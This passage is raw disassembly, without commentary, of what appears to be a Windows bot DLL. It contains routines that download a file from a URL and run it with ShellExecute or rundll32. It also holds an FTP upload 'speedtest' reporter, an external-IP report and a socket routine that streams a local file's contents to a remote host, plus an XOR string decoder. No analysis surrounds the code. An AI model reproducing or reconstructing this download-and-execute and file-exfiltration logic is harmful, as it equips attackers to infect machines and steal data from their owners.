		mov	[ecx], al
		jmp	short loc_10005204
; ---------------------------------------------------------------------------

loc_1000523F:				; CODE XREF: sub_10005191+88j
					; sub_10005191+92j
		jmp	short loc_100051EA
; ---------------------------------------------------------------------------

loc_10005241:				; CODE XREF: sub_10005191+68j
		mov	edx, [ebp+var_10]
		and	edx, 0FFh
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax+edx], 0
		mov	esp, ebp
		pop	ebp
		retn
sub_10005191	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+14h]
		push	eax
		call	strlen	; strlen
		add	esp, 4
		mov	[ebp-4], eax
		mov	ecx, [ebp+10h]
		push	ecx
		call	strlen	; strlen
		add	esp, 4
		mov	[ebp-0Ch], al
		mov	edx, [ebp+8]
		mov	al, [ebp-0Ch]
		mov	[edx], al
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+8]
		add	eax, 1
		push	eax
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_100052AB
; ---------------------------------------------------------------------------

loc_100052A2:				; CODE XREF: .text:loc_100052F7j
		mov	ecx, [ebp-10h]
		add	ecx, 1
		mov	[ebp-10h], ecx

loc_100052AB:				; CODE XREF: .text:100052A0j
		mov	edx, [ebp-10h]
		cmp	edx, [ebp-4]
		jge	short loc_100052F9
		mov	dword ptr [ebp-8], 1
		jmp	short loc_100052C5
; ---------------------------------------------------------------------------

loc_100052BC:				; CODE XREF: .text:100052F5j
		mov	eax, [ebp-8]
		add	eax, 1
		mov	[ebp-8], eax

loc_100052C5:				; CODE XREF: .text:100052BAj
		mov	ecx, [ebp-0Ch]
		and	ecx, 0FFh
		cmp	[ebp-8], ecx
		jg	short loc_100052F7
		mov	edx, [ebp-8]
		cmp	edx, [ebp+0Ch]
		jl	short loc_100052DD
		jmp	short loc_100052F7
; ---------------------------------------------------------------------------

loc_100052DD:				; CODE XREF: .text:100052D9j
		mov	eax, [ebp+8]
		add	eax, [ebp-8]
		mov	ecx, [ebp+14h]
		add	ecx, [ebp-10h]
		mov	dl, [eax]
		xor	dl, [ecx]
		mov	eax, [ebp+8]
		add	eax, [ebp-8]
		mov	[eax], dl
		jmp	short loc_100052BC
; ---------------------------------------------------------------------------

loc_100052F7:				; CODE XREF: .text:100052D1j
					; .text:100052DBj
		jmp	short loc_100052A2
; ---------------------------------------------------------------------------

loc_100052F9:				; CODE XREF: .text:100052B1j
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100052FD	proc near		; DATA XREF: .data:1000E01Co
		push	ebp
		mov	ebp, esp
		call	sub_1000530C
		call	sub_1000531C
		pop	ebp
		retn
sub_100052FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000530C	proc near		; CODE XREF: sub_100052FD+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_10012DC5
		call	ds:??0Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::Init(void)
		pop	ebp
		retn
sub_1000530C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000531C	proc near		; CODE XREF: sub_100052FD+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_1000532E ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_1000531C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_1000532E()

sub_1000532E	proc near		; DATA XREF: sub_1000531C+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_10012DC5
		call	ds:??1Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::~Init(void)
		pop	ebp
		retn
sub_1000532E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000533E	proc near		; DATA XREF: .data:1000E020o
		push	ebp
		mov	ebp, esp
		call	sub_1000534D
		call	sub_1000535D
		pop	ebp
		retn
sub_1000533E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000534D	proc near		; CODE XREF: sub_1000533E+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_10012DC4
		call	ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
		pop	ebp
		retn
sub_1000534D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000535D	proc near		; CODE XREF: sub_1000533E+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_1000536F ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_1000535D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_1000536F()

sub_1000536F	proc near		; DATA XREF: sub_1000535D+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_10012DC4
		call	ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
		pop	ebp
		retn
sub_1000536F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10005380	proc near		; DATA XREF: sub_10007424+100Bo
					; sub_10007424+161Do

Parameters	= byte ptr -1320h
hObject		= dword	ptr -1220h
Buffer		= byte ptr -121Ch
var_21C		= dword	ptr -21Ch
NumberOfBytesWritten= dword ptr	-218h
var_214		= dword	ptr -214h
nNumberOfBytesToWrite= dword ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
File		= byte ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1320h
		call	__alloca_probe
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	ecx, 82h
		lea	edi, [ebp+var_20C]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_21C], eax
		push	0
		push	0
		push	0
		push	0
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ds:InternetOpenA	; InternetOpenA
		mov	[ebp+var_4], eax
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [ebp+var_208]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	ds:InternetOpenUrlA	; InternetOpenUrlA
		mov	[ebp+var_214], eax
		mov	eax, [ebp+var_21C]
		mov	byte ptr [eax+207h], 1
		cmp	[ebp+var_214], 0
		jz	loc_1000555E
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	2		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	0		; dwShareMode
		push	40000000h	; dwDesiredAccess
		lea	ecx, [ebp+File]
		push	ecx		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		cmp	[ebp+hObject], 0FFFFFFFFh
		jnz	short loc_1000543E
		push	1
		mov	edx, [ebp+var_20C]
		push	edx
		call	sub_1000AB26
		add	esp, 8
		push	0
		call	ds:_endthreadex	; _endthreadex
		add	esp, 4

loc_1000543E:				; CODE XREF: sub_10005380+A0j
					; sub_10005380+109j
		lea	eax, [ebp+nNumberOfBytesToWrite]
		push	eax
		push	1000h
		lea	ecx, [ebp+Buffer]
		push	ecx
		mov	edx, [ebp+var_214]
		push	edx
		call	ds:InternetReadFile	; InternetReadFile
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		mov	ecx, [ebp+nNumberOfBytesToWrite]
		push	ecx		; nNumberOfBytesToWrite
		lea	edx, [ebp+Buffer]
		push	edx		; lpBuffer
		mov	eax, [ebp+hObject]
		push	eax		; hFile
		call	ds:WriteFile	; WriteFile
		cmp	[ebp+nNumberOfBytesToWrite], 0
		ja	short loc_1000543E
		mov	ecx, [ebp+hObject]
		push	ecx		; hObject
		call	ds:CloseHandle	; CloseHandle
		mov	edx, [ebp+var_214]
		push	edx
		call	ds:InternetCloseHandle	; InternetCloseHandle
		mov	eax, [ebp+var_4]
		push	eax
		call	ds:InternetCloseHandle	; InternetCloseHandle
		mov	ecx, [ebp-7]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_10005537
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_100054E5
		push	0		; nShowCmd
		push	0		; lpDirectory
		push	0		; lpParameters
		lea	eax, [ebp+File]
		push	eax		; lpFile
		push	offset aOpen_2	; "open"
		push	0		; hwnd
		call	ds:ShellExecuteA	; ShellExecuteA
		jmp	short loc_10005523
; ---------------------------------------------------------------------------

loc_100054E5:				; CODE XREF: sub_10005380+147j
		lea	ecx, [ebp+File]
		push	ecx
		push	offset aSStart_0 ; "%s,start"
		push	100h		; Count
		lea	edx, [ebp+Parameters]
		push	edx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		push	0		; nShowCmd
		push	0		; lpDirectory
		lea	eax, [ebp+Parameters]
		push	eax		; lpParameters
		push	offset aRundll32_exe_0 ; "rundll32.exe"
		push	offset aOpen_3	; "open"
		push	0		; hwnd
		call	ds:ShellExecuteA	; ShellExecuteA

loc_10005523:				; CODE XREF: sub_10005380+163j
		push	offset aQuit	; "QUIT"
		call	sub_10007293
		add	esp, 4
		call	sub_10004EA7
; ---------------------------------------------------------------------------
		jmp	short loc_1000555E
; ---------------------------------------------------------------------------

loc_10005537:				; CODE XREF: sub_10005380+13Aj
		mov	ecx, [ebp+var_8+2]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_1000555E
		push	5		; nShowCmd
		push	0		; lpDirectory
		push	0		; lpParameters
		lea	edx, [ebp+File]
		push	edx		; lpFile
		push	offset aOpen_4	; "open"
		push	0		; hwnd
		call	ds:ShellExecuteA	; ShellExecuteA

loc_1000555E:				; CODE XREF: sub_10005380+71j
					; sub_10005380+1B5j ...
		push	1
		mov	eax, [ebp+var_20C]
		push	eax
		call	sub_1000AB26
		add	esp, 8
		push	0
		call	ds:_endthreadex	; _endthreadex
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
sub_10005380	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10005584	proc near		; DATA XREF: sub_10007424+EBCo

var_1180	= dword	ptr -1180h
var_117C	= dword	ptr -117Ch
var_1178	= dword	ptr -1178h
var_1174	= dword	ptr -1174h
var_1170	= dword	ptr -1170h
var_116C	= byte ptr -116Ch
var_1168	= dword	ptr -1168h
var_1164	= dword	ptr -1164h
var_1160	= dword	ptr -1160h
var_115C	= byte ptr -115Ch
var_105C	= dword	ptr -105Ch
var_1048	= dword	ptr -1048h
var_1038	= dword	ptr -1038h
var_1034	= dword	ptr -1034h
var_1030	= word ptr -1030h
Memory		= dword	ptr -102Ch
var_1028	= dword	ptr -1028h
var_1024	= dword	ptr -1024h
var_1020	= dword	ptr -1020h
Dst		= byte ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1180h
		call	__alloca_probe
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	ecx, 47h
		lea	edi, [ebp+var_1164]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_1168],	eax
		push	0
		push	0
		push	0
		push	0
		push	offset aMozilla4_0Co_0 ; "Mozilla/4.0 (compatible)"
		call	ds:InternetOpenA	; InternetOpenA
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_1168]
		mov	byte ptr [ecx+118h], 1
		push	80h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+Memory], eax
		mov	[ebp+var_1028],	80h
		push	80h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+var_1024],	eax
		mov	[ebp+var_1020],	80h
		push	80h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+var_1038],	eax
		mov	[ebp+var_1034],	80h
		mov	[ebp+var_1048],	3Ch
		lea	edx, [ebp+var_1048]
		push	edx
		push	0
		push	0
		lea	eax, [ebp+var_115C]
		push	eax
		call	ds:InternetCrackUrlA	; InternetCrackUrlA
		push	0
		push	0
		push	1
		mov	ecx, [ebp+var_1024]
		push	ecx
		mov	edx, [ebp+Memory]
		push	edx
		mov	ax, [ebp+var_1030]
		push	eax
		mov	ecx, [ebp+var_1038]
		push	ecx
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:InternetConnectA	; InternetConnectA
		mov	[ebp+var_117C],	eax
		cmp	[ebp+var_117C],	0
		jz	loc_1000579A
		push	0
		push	2
		push	40000000h
		push	offset aSpeed_test ; "speed.test"
		mov	eax, [ebp+var_117C]
		push	eax
		call	ds:FtpOpenFileA	; FtpOpenFileA
		mov	[ebp+var_1174],	eax
		cmp	[ebp+var_1174],	0
		jz	loc_1000579A
		push	1000h		; Size
		push	41h		; Val
		lea	ecx, [ebp+Dst]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		call	ds:GetTickCount	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp+var_1170],	eax
		mov	[ebp+var_1178],	0
		jmp	short loc_100056FF
; ---------------------------------------------------------------------------

loc_100056F0:				; CODE XREF: sub_10005584+1D0j
		mov	edx, [ebp+var_1178]
		add	edx, 1
		mov	[ebp+var_1178],	edx

loc_100056FF:				; CODE XREF: sub_10005584+16Aj
		mov	eax, [ebp+var_1160]
		shl	eax, 0Ah
		cdq
		and	edx, 0FFFh
		add	eax, edx
		sar	eax, 0Ch
		cmp	[ebp+var_1178],	eax
		jge	short loc_10005756
		lea	eax, [ebp+var_116C]
		push	eax
		push	1000h
		lea	ecx, [ebp+Dst]
		push	ecx
		mov	edx, [ebp+var_1174]
		push	edx
		call	ds:InternetWriteFile	; InternetWriteFile
		call	ds:GetTickCount	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		sub	eax, [ebp+var_1170]
		mov	[ebp+var_4], eax
		jmp	short loc_100056F0
; ---------------------------------------------------------------------------

loc_10005756:				; CODE XREF: sub_10005584+196j
		cmp	[ebp+var_4], 0
		jz	short loc_10005767
		mov	edx, [ebp+var_4]
		mov	[ebp+var_1180],	edx
		jmp	short loc_10005771
; ---------------------------------------------------------------------------

loc_10005767:				; CODE XREF: sub_10005584+1D6j
		mov	[ebp+var_1180],	1

loc_10005771:				; CODE XREF: sub_10005584+1E1j
		mov	eax, [ebp+var_1160]
		xor	edx, edx
		div	[ebp+var_1180]
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+var_8]
		push	eax		; char
		push	offset aSpeedtestCompl ; "speedtest complete (upload speed: %luKB"...
		lea	ecx, [ebp+var_105C]
		push	ecx		; int
		call	sub_10007303
		add	esp, 0Ch

loc_1000579A:				; CODE XREF: sub_10005584+101j
					; sub_10005584+12Fj
		mov	edx, [ebp+var_1174]
		push	edx
		call	ds:InternetCloseHandle	; InternetCloseHandle
		mov	eax, [ebp+var_117C]
		push	eax
		call	ds:InternetCloseHandle	; InternetCloseHandle
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:InternetCloseHandle	; InternetCloseHandle
		mov	edx, [ebp+Memory]
		push	edx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	eax, [ebp+var_1024]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	ecx, [ebp+var_1038]
		push	ecx		; Memory
		call	ds:free	; free
		add	esp, 4
		push	1
		mov	edx, [ebp+var_1164]
		push	edx
		call	sub_1000AB26
		add	esp, 8
		push	0
		call	ds:_endthreadex	; _endthreadex
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
sub_10005584	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10005814	proc near		; DATA XREF: .data:1000E024o
		push	ebp
		mov	ebp, esp
		call	sub_10005823
		call	sub_10005833
		pop	ebp
		retn
sub_10005814	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10005823	proc near		; CODE XREF: sub_10005814+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D0F9
		call	ds:??0Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::Init(void)
		pop	ebp
		retn
sub_10005823	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10005833	proc near		; CODE XREF: sub_10005814+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_10005845 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_10005833	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_10005845()

sub_10005845	proc near		; DATA XREF: sub_10005833+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D0F9
		call	ds:??1Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::~Init(void)
		pop	ebp
		retn
sub_10005845	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10005855	proc near		; DATA XREF: .data:1000E028o
		push	ebp
		mov	ebp, esp
		call	sub_10005864
		call	sub_10005874
		pop	ebp
		retn
sub_10005855	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10005864	proc near		; CODE XREF: sub_10005855+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D0F8
		call	ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
		pop	ebp
		retn
sub_10005864	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10005874	proc near		; CODE XREF: sub_10005855+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_10005886 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_10005874	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_10005886()

sub_10005886	proc near		; DATA XREF: sub_10005874+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D0F8
		call	ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
		pop	ebp
		retn
sub_10005886	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	edi
		mov	dword ptr [ebp-30Ch], 0
		mov	byte ptr [ebp-420h], 0
		xor	eax, eax
		mov	[ebp-41Fh], eax
		mov	[ebp-41Bh], eax
		mov	[ebp-417h], eax
		mov	[ebp-413h], ax
		mov	[ebp-411h], al
		mov	byte ptr [ebp-304h], 0
		mov	ecx, 40h
		xor	eax, eax
		lea	edi, [ebp-303h]
		rep stosd
		stosw
		stosb
		mov	byte ptr [ebp-410h], 0
		mov	ecx, 40h
		xor	eax, eax
		lea	edi, [ebp-40Fh]
		rep stosd
		stosw
		stosb
		mov	byte ptr [ebp-200h], 0
		mov	ecx, 7Fh
		xor	eax, eax
		lea	edi, [ebp-1FFh]
		rep stosd
		stosw
		stosb
		cmp	dword ptr [ebp+0Ch], 0
		jnz	short loc_10005934
		xor	eax, eax
		jmp	loc_100059E7
; ---------------------------------------------------------------------------

loc_10005934:				; CODE XREF: .text:1000592Bj
		lea	ecx, [ebp-304h]
		push	ecx
		push	103h
		call	ds:GetTempPathA	; GetTempPathA
		lea	edx, [ebp-410h]
		push	edx
		push	0
		push	offset aTemp	; "Temp"
		lea	eax, [ebp-304h]
		push	eax
		call	ds:GetTempFileNameA	; GetTempFileNameA
		xor	ecx, ecx
		test	ecx, ecx
		jz	short loc_100059E2
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		lea	edx, [ebp-410h]
		push	edx
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp-308h], eax
		cmp	dword ptr [ebp-308h], 0FFFFFFFFh
		jz	short loc_100059E2
		push	0
		lea	eax, [ebp-30Ch]
		push	eax
		push	0Fh
		lea	ecx, [ebp-420h]
		push	ecx
		mov	edx, [ebp-308h]
		push	edx
		call	ds:ReadFile	; ReadFile
		lea	eax, [ebp-420h]
		push	eax
		push	offset aMainExternalIp ; "Main-> External IP: %s"
		push	1FFh
		lea	ecx, [ebp-200h]
		push	ecx
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		mov	edx, [ebp-308h]
		push	edx
		call	ds:CloseHandle	; CloseHandle

loc_100059E2:				; CODE XREF: .text:10005965j
					; .text:10005993j
		mov	eax, 1

loc_100059E7:				; CODE XREF: .text:1000592Fj
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100059EC	proc near		; DATA XREF: .data:1000E02Co
		push	ebp
		mov	ebp, esp
		call	sub_100059FB
		call	sub_10005A0B
		pop	ebp
		retn
sub_100059EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100059FB	proc near		; CODE XREF: sub_100059EC+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D101
		call	ds:??0Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::Init(void)
		pop	ebp
		retn
sub_100059FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10005A0B	proc near		; CODE XREF: sub_100059EC+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_10005A1D ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_10005A0B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_10005A1D()

sub_10005A1D	proc near		; DATA XREF: sub_10005A0B+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D101
		call	ds:??1Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::~Init(void)
		pop	ebp
		retn
sub_10005A1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10005A2D	proc near		; DATA XREF: .data:1000E030o
		push	ebp
		mov	ebp, esp
		call	sub_10005A3C
		call	sub_10005A4C
		pop	ebp
		retn
sub_10005A2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10005A3C	proc near		; CODE XREF: sub_10005A2D+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D100
		call	ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
		pop	ebp
		retn
sub_10005A3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10005A4C	proc near		; CODE XREF: sub_10005A2D+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_10005A5E ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_10005A4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_10005A5E()

sub_10005A5E	proc near		; DATA XREF: sub_10005A4C+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D100
		call	ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
		pop	ebp
		retn
sub_10005A5E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10005A70(char	*cp,u_short hostshort)

sub_10005A70	proc near		; CODE XREF: sub_10005C3D+B05p

name		= sockaddr ptr -10h
cp		= dword	ptr  8
hostshort	= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0		; protocol
		push	1		; type
		push	2		; af
		call	ds:socket	; socket
		mov	dword_1002D10C,	eax
		mov	[ebp+name.sa_family], 2
		mov	eax, [ebp+cp]
		push	eax		; cp
		call	ds:inet_addr	; inet_addr
		mov	dword ptr [ebp+name.sa_data+2],	eax
		mov	cx, [ebp+hostshort]
		push	ecx		; hostshort
		call	ds:htons	; htons
		mov	word ptr [ebp+name.sa_data], ax
		push	8		; Size
		push	0		; Val
		lea	edx, [ebp+name.sa_data+6]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	10h		; namelen
		lea	eax, [ebp+name]
		push	eax		; name
		mov	ecx, dword_1002D10C
		push	ecx		; s
		call	ds:connect	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_10005AE2
		mov	edx, dword_1002D10C
		push	edx		; s
		call	ds:closesocket	; closesocket
		xor	al, al
		jmp	short loc_10005AE4
; ---------------------------------------------------------------------------

loc_10005AE2:				; CODE XREF: sub_10005A70+5Fj
		mov	al, 1

loc_10005AE4:				; CODE XREF: sub_10005A70+70j
		mov	esp, ebp
		pop	ebp
		retn
sub_10005A70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10005AE8	proc near		; CODE XREF: sub_10005C3D+B16p

var_518		= dword	ptr -518h
NumberOfBytesRead= dword ptr -514h
FileName	= byte ptr -510h
hObject		= dword	ptr -410h
Dst		= byte ptr -40Ch
lDistanceToMove	= dword	ptr -0Ch
var_8		= dword	ptr -8
len		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 518h
		mov	[ebp+len], 400h
		mov	[ebp+NumberOfBytesRead], 0
		push	100h		; Count
		push	offset ExistingFileName	; Source
		lea	eax, [ebp+FileName]
		push	eax		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	1		; dwShareMode
		push	80000000h	; dwDesiredAccess
		lea	ecx, [ebp+FileName]
		push	ecx		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		cmp	[ebp+hObject], 0FFFFFFFFh
		jnz	short loc_10005B4E
		xor	al, al
		jmp	loc_10005C39
; ---------------------------------------------------------------------------

loc_10005B4E:				; CODE XREF: sub_10005AE8+5Dj
		push	0		; lpFileSizeHigh
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:GetFileSize	; GetFileSize
		mov	[ebp+var_8], eax

loc_10005B60:				; CODE XREF: sub_10005AE8+131j
		cmp	[ebp+var_8], 0
		jz	loc_10005C1E
		push	400h		; Size
		push	0		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	ecx, [ebp+len]
		cmp	ecx, [ebp+var_8]
		jbe	short loc_10005B8E
		mov	edx, [ebp+var_8]
		mov	[ebp+len], edx

loc_10005B8E:				; CODE XREF: sub_10005AE8+9Ej
		xor	eax, eax
		sub	eax, [ebp+var_8]
		mov	[ebp+lDistanceToMove], eax
		push	2		; dwMoveMethod
		push	0		; lpDistanceToMoveHigh
		mov	ecx, [ebp+lDistanceToMove]
		push	ecx		; lDistanceToMove
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:SetFilePointer	; SetFilePointer
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesRead]
		push	eax		; lpNumberOfBytesRead
		mov	ecx, [ebp+len]
		push	ecx		; nNumberOfBytesToRead
		lea	edx, [ebp+Dst]
		push	edx		; lpBuffer
		mov	eax, [ebp+hObject]
		push	eax		; hFile
		call	ds:ReadFile	; ReadFile
		push	0		; flags
		mov	ecx, [ebp+len]
		push	ecx		; len
		lea	edx, [ebp+Dst]
		push	edx		; buf
		mov	eax, dword_1002D10C
		push	eax		; s
		call	ds:send	; send
		mov	[ebp+var_518], eax
		cmp	[ebp+var_518], 0FFFFFFFFh
		jnz	short loc_10005C0D
		call	ds:WSAGetLastError	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_10005C03
		jmp	short loc_10005C1E
; ---------------------------------------------------------------------------

loc_10005C03:				; CODE XREF: sub_10005AE8+117j
		mov	[ebp+var_518], 0

loc_10005C0D:				; CODE XREF: sub_10005AE8+10Aj
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+var_518]
		mov	[ebp+var_8], ecx
		jmp	loc_10005B60
; ---------------------------------------------------------------------------

loc_10005C1E:				; CODE XREF: sub_10005AE8+7Cj
					; sub_10005AE8+119j
		mov	edx, [ebp+hObject]
		push	edx		; hObject
		call	ds:CloseHandle	; CloseHandle
		mov	eax, dword_1002D10C
		push	eax		; s
		call	ds:closesocket	; closesocket
		mov	al, 1

loc_10005C39:				; CODE XREF: sub_10005AE8+61j
		mov	esp, ebp
		pop	ebp
		retn
sub_10005AE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10005C3D	proc near		; DATA XREF: sub_10009C30+6Do

var_5A4		= dword	ptr -5A4h
var_5A0		= dword	ptr -5A0h
var_59C		= dword	ptr -59Ch
var_598		= byte ptr -598h
var_594		= byte ptr -594h
var_574		= byte ptr -574h
var_55C		= byte ptr -55Ch
var_530		= byte ptr -530h
var_510		= byte ptr -510h
var_4F8		= byte ptr -4F8h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= word ptr -4BCh
var_4BA		= byte ptr -4BAh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= dword	ptr -4ACh
var_4A8		= word ptr -4A8h
var_4A6		= byte ptr -4A6h
var_4A4		= byte ptr -4A4h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= word ptr -46Ch
var_468		= byte ptr -468h
